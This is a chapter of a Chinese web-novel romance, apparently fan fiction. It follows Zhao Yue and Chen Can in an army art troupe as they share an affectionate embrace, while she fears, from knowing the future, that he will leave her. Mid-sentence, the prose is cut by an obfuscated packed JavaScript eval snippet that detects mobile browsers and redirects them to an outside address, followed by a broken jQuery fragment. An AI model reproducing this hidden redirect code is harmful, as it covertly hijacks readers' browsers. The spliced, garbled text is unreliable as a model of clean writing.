默认冷灰
24号文字
方正启体

52. 前夕

作者:听暖a本书字数:K更新时间:
    兆悦不再说话,只是踮起脚尖,双臂轻轻一抬,软软地搂住了他的脖子,微微用力,带着点撒娇的力道示意他低下头来。


    陈灿瞬间心尖一麻,呼吸都轻了几分。


    他顺从地弯下腰,慢慢俯下身,额头几乎要碰到她的,鼻尖轻轻擦过她的脸颊,温热的呼吸缠在一起。


    他声音哑得厉害:“怎么了?”


    下一秒,她微微张口,带着撩拨的力道轻轻吮吸上去,舌尖若有似无地扫过他的肌肤,一只手还软软地摸着他的后颈,指尖轻轻摩挲。


    陈灿整个人猛地一僵,浑身血液像是瞬间冲上头顶,耳尖“唰”地烧得通红。


    他哪里见过这种模式,原本还想反撩的话全堵在了喉咙里,呼吸骤然乱了节奏,揽着她腰的手猛地收紧,把人紧紧贴在怀里,连脊背都绷成了一条直线。


    喉间不受控制地溢出一声低哑的闷哼,又轻又颤,带着从未有过的慌乱与心动。


    “悦悦……”


    他声音哑得不成样子,浑身都在发烫,想躲又舍不得,只能任由她在自己颈间留下暧昧的印记,指尖微微发颤,连眼神都失了焦。


    温热的呼吸还洒在他泛红的颈侧,兆悦的嘴唇才刚离开一两厘米,舌尖轻轻舔了下自己的唇角。


    眼底盛着得逞的笑意,故意贴着他发烫的皮肤,轻声追问:“你刚才……喊我什么?”


    陈灿整个人还僵在刚才那阵猝不及防的酥麻里,耳尖红得要滴血,喉结狠狠滚了一下。


    他从前私下里只敢叫你,人前规规矩矩喊她兆悦,从来没这样失控地漏出过那样亲昵的称呼。


    此刻被她这样贴着、盯着、逼问着,脑子一片空白,连呼吸都乱了章法。


    他闭了闭眼,再睁开时,眼底全是藏不住的慌乱和滚烫,声音哑得几乎听不清:“……悦悦。”


    兆悦抵着他颈窝,唇瓣若有若无擦过他发烫的皮肤:“你平时不都直接喊我兆悦的嘛?今天怎么啦,陈灿?”


    她明明在笑,气息却缠得他心神不宁。


    陈灿整个人都绷着,耳尖红得要滴血,喉结狠狠滚了一圈。


    他长这么大,从来没被人这样步步紧逼、撩得手足无措。


    他低头,视线撞进她亮晶晶带笑的眼里,呼吸乱得一塌糊涂,手还紧紧扣着她的腰,舍不得放。


    声音哑得发颤,带着点破罐破摔的认真:“平时……平时不敢。”


    兆悦眼底笑意更深,刚要再逗他,陈灿忽然低下头,额头抵着她的额头,气息滚烫:“现在……不想再只叫你兆悦了。”


    他顿了顿,几乎是贴着她的唇,轻轻喊了一声:“悦悦。”


    这一声,又低又沉,带着藏了太久的情绪,一下子砸进兆悦心里。


    兆悦故意把下巴抵在他肩头,声音软乎乎裹着点委屈,轻轻蹭着他发烫的皮肤:“哎呀~以前都没听过你这么喊我,都是凶巴巴的~”


    她尾音微微上翘,明明是装的,却甜得陈灿心尖发颤。


    陈灿喉结狠狠滚了一下,整个人更僵了,耳尖红得快要滴血。


    被她这么一委屈,他瞬间慌了神。


    手臂不自觉收得更紧,把人稳稳圈在怀里,低头时气息全洒在她发顶,声音哑得不成调,又急又软:“我没有……我不是凶。”


    他顿了顿,指尖都在发烫,笨拙又认真地解释:“我只是……不知道怎么跟你说话。”


    兆悦憋着笑,还想再逗,就听他贴着她耳朵,又轻又慌地补了一句:“以后不凶了……只喊你悦悦,好不好?”


    兆悦被他这一声“悦悦”喊得耳朵尖都发麻,心里软成一滩水,刚才那点故意逗他的坏劲儿瞬间散了,反倒先害羞起来。


    她脸颊发烫,下意识就想从他怀里挣开,往后缩了缩要跑。


    陈灿哪里肯放,手臂一收,直接把人牢牢圈在怀里,力道带着点慌,又带着点不容挣脱的认真。


    他低头,鼻尖蹭过她还泛红的耳廓,声音哑得发颤,却带着点难得的强势:“不准跑。”


    兆悦心跳得飞快,埋在他胸口不敢抬头,只听见他又轻轻喊了一遍,低低的,软软的,全是克制不住的温柔:“悦悦。”


    这一声喊得她浑身都软了,哪儿还有力气跑。


    另一边,宿舍里还静悄悄的。


    郝淑雯刚睡醒,迷迷糊糊睁眼看了看对面上铺,空荡荡的,人早就不在了。


    她懒得抬身子,哑着嗓子问旁边还没睡的林丁丁:“兆悦呢?”


    林丁丁翻了个身,声音轻飘飘的:“好像说是去练琴了。”


    “真努力。”郝淑雯随口应了一声,半点没多想,困意又涌上来,裹紧被子翻个身,很快又睡了过去。


    可林丁丁没信。


    她支着胳膊,眼底藏着点心知肚明的笑,心里暗暗嘀咕:练琴?谁信啊。


    那两人那点心思,她早看出来了,哪里是去练琴,指不定是跟闫展博待在一块儿呢。


    一想到闫展博那张冷冰冰、不爱说话的脸,再想想兆悦平时那副不爱凑热闹的性子,两个冰块凑一块儿,林丁丁忍不住在被子里偷偷嗤笑一声,只觉得又奇怪又好笑。


    她对闫展博那种闷葫芦冰块可没半点兴趣,懒得去触霉头,更懒得去戳破,只当是又一桩藏在文工团角落里的趣事。


    这边还浸在浓得化不开的甜里,两人交颈相拥,呼吸缠在一起,连空气都是暖的。


    兆悦靠在陈灿怀里,鼻尖蹭着他颈间熟悉的温度,听着他沉稳有力的心跳,明明甜得像整个人泡在蜜罐里,眼眶却忽然一热。


    一滴泪毫无预兆地砸在他锁骨上,滚烫。


    陈灿瞬间僵住,慌忙捧起她的脸,指腹慌乱地擦去她的泪,声音都慌了,带着紧绷的疼:“怎么了?是不是我弄疼你了?”


    兆悦摇摇头,把脸埋回他怀里,死死攥着他的衣服,眼泪越落越凶,却一声不吭。


    她不能说。


    不能说她怕这一切只是一场太真实的梦,怕一睁眼,眼前的人就没了,怕这满心的欢喜、这滚烫的拥抱、这一声一声的“悦悦”,全都会碎掉。


    怕梦醒之后,她再也见不到陈灿。


    陈灿不懂她突如其来的难过,只当是她受了委屈,心揪得发紧,只能更用力地抱住她,一下一下轻轻拍着她的背,像哄易碎的宝贝,低声反复哄着:“我在呢,悦悦,我在……不走,哪儿都不走。”


    他不知道她在怕什么,只知道要把她牢牢抱住,抱到她不再哭为止。


    怀里的人轻轻发抖,眼泪浸湿他的衣襟,烫得他心口发酸。


    兆悦闭着眼,在他怀里无声地哭,心里只有一个念头——再多抱一会儿,再多甜一会儿,就算是梦,她也想多贪这片刻。


    兆悦埋在他怀里,眼泪还在无声地落,心里却翻江倒海。


    她太清楚自己这性子了。现实里是这样,在大院那十几年也是这样,在杭春明、刘予、杨铮他们跟前,总是一会儿哭一会儿笑,情绪来得又急又猛,闹过不少小脾气。


    可偏偏,一直都有人捧着她、让着她、无条件包容她。


    如今来了文工团,她明明已经是二十岁的人了,可跟着这群正值花季雨季的男孩女孩待在一起,心境竟又倒退回了十七八岁——敏感、柔软、一点风吹草动就患得患失。


    就像现在。


    明明被他抱在怀里,明明甜得像做梦,她却偏偏要掉眼泪,偏偏要揪着那点虚无的恐惧不放。


    她悄悄收紧手指,攥着他的衣襟,心里又慌又涩:陈灿会不会……觉得她太无理取闹了?


    会不会觉得她情绪太多、太不稳定、太让人累了?


    他以前见的她,是安安静静练琴、话不多、性子淡的兆悦,不是现在这样抱着抱着就突然哭、又敏感又脆弱的样子。


    这么一想,她更不敢出声,只


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309134|198747||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把脸埋得更深,连呼吸都放轻,怕他一低头,就看穿她这颗又胆小又贪心的心。


    陈灿只怀中人轻轻发颤,连哭都哭得安安静静,像只受了惊又不敢吭声的小猫。


    他什么也没问,只是手臂一圈又一圈收紧,把她更紧地贴在自己心口,下巴轻轻抵在她发顶,慢而轻地蹭了蹭。


    他不会说什么漂亮话,只一遍又一遍,用最沉、最稳的声音,贴着她的头发低声呢喃:“不怕……我在。”


    “怎么样都好。”


    “我都受着。”


    兆悦把脸埋得更低,死死抵在他肩头,不肯抬头。


    她不想让他看见自己满脸泪痕、眼眶通红的狼狈模样,明明刚才还在笑着逗他,转眼就哭得一塌糊涂。


    她心里比谁都清楚,自己对陈灿的感情、对他的依赖,早就深到超出预料。


    她一向都是这样——走不进她眼里的人,再怎么讨好靠近,都没用;可一旦谁真的住进她心里,她就会看得极重、极深。


    陈灿就是那个,一脚踩进她心底,再也拔不出去的人。


    陈灿怀中人儿微微发颤,连哭都安安静静,他怎么会不明白她的小心思。


    他没有强行掰她的脸,只是轻轻抬手,盖住她的后脑勺,温柔却坚定地把她更往自己怀里按了按。


    “不看。”他声音低低的,哑得温柔,“我不看你脸,就抱着你。”


    他掌心温热,稳稳贴在她的发间,一下一下,极轻地顺着她的头发。“你怎么样都好。”


    “哭也没关系,闹也没关系,躲着也没关系。”


    他顿了顿,胸腔震动,把最真心的话,一句句揉进她耳里:“我只要你在我身边就行。”


    兆悦深深吸了一口气,将陈灿身上的气息尽数揽进鼻尖。


    那是一种很干净的味道,混着少年人独有的体温、阳光晒过的浅淡暖意,还有一点若有若无的皂角香。


    她在心里翻遍了所有能想到的形容词,温柔、清冽、安心、滚烫……却没有一个,能真正描画出这份独属于他的气息。


    可越是沉溺,她心底的隐忧就越是像藤蔓一样疯狂缠绕,勒得她心口发闷。


    她对陈灿的感情越深,那些藏在记忆深处、带着上帝视角的细节,就越是清晰地浮现在眼前,挥之不去。


    她比谁都清楚,这个年代,1979、1980年一过,文工团就要散了。


    她记得清清楚楚,分队长催着大家去排练,陈灿和几个男兵在外面漫不经心地聊着,那时他已经烫了时兴的头发,语气里全是看透一切的淡然——还排什么,文工团都要解散了,这是他副司令的父亲亲口告诉他的。


    她也记得,他出门被撞掉牙,萧穗子心急火燎赶去医院,却听见旁边男兵打趣:陈灿,这下你也不用闹着转业了。


    原来从始至终,陈灿都是那样理性的人。


    理性到清醒地看着文工团的兴衰,理性到不被这里的青春、热闹、情谊牵绊,理性到在朦胧的情绪里,最终选择了对自己事业、对未来最有帮助的郝淑雯。


    他从来不是会被感情冲昏头脑的人。


    这些画面一桩桩、一件件,在兆悦脑海里反复翻涌。


    此刻怀里的温度有多真实,她的患得患失就有多刺骨。


    她忍不住发抖地想——眼前的温柔是真的,他喊她悦悦是真的,此刻紧紧的拥抱也是真的。


    可会不会有一天,他也会像电影里那样,为了前途、为了现实,冷静而决绝地甩开她,做出最理性的选择?


    她已经把心完完整整地掏给了他,已经陷得深到无法自拔。


    如果真的有那一天,她该怎么办?


    这份突如其来的恐慌,让她刚刚止住的眼泪,又一次无声地浸湿了陈灿的衣襟。


    她不敢说,不能说,只能把所有的不安,全都死死咽进心里,只化作怀里更紧一点、再紧一点的依偎。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)